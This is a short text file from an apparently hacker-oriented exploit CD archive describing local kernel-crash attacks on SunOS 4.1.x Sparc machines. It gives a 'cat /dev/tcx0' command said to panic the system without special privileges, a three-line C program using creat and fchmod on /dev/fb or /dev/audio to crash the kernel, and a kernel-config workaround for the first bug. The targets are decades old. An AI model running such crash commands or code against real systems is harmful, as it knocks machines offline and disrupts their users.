home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / SunOS_crash.txt < prev    next >
Text File  |  2001-11-06  |  1KB  |  48 lines

  1.  
  2.  
  3. If you try to read /dev/tcx0 on a SunOS 4.1.4 Sparc 20 
  4. (it didn't work on a 10),
  5. you will cause a system panic.  How do you read it, you ask?
  6. Simply "cat /dev/tcx0" or "ls /dev/tcx0/*".  You don't need special
  7. privileges to use it.
  8.  
  9.  
  10. ===================================================================
  11.  
  12.  
  13. This will also crash s Sparc 5.
  14.  
  15.  
  16. ===================================================================
  17.  
  18.  
  19. Work around:
  20. 1. Install tcx frame buffer.
  21. 2. Edit GENERIC file as below and create new kernel.
  22. < device-driver tcx             # 24-bit accelerated color frame buffer
  23. ---
  24. > #device-driver        tcx             # 24-bit accelerated color frame buffer
  25.  
  26.  
  27.  
  28. ===================================================================
  29.  
  30.  
  31. SunOS 4.1.x crash
  32.  
  33. I found the following three-liner to crash SunOS 4.1.x.  It works on
  34. /dev/fb and /dev/audio on some machines; you need permission to open the
  35. device.
  36.  
  37. main(int argc, char *argv[]) {
  38.   int fd;
  39.  
  40.   fd = creat(argc < 2 ? "/dev/fb" : argv[1], 0755);
  41.   if (fd < 0) perror("creat"), exit(1);
  42.   fchmod(fd, 0755);             /* BOOM */
  43. }
  44.  
  45.  
  46.  
  47. ===================================================================
  48.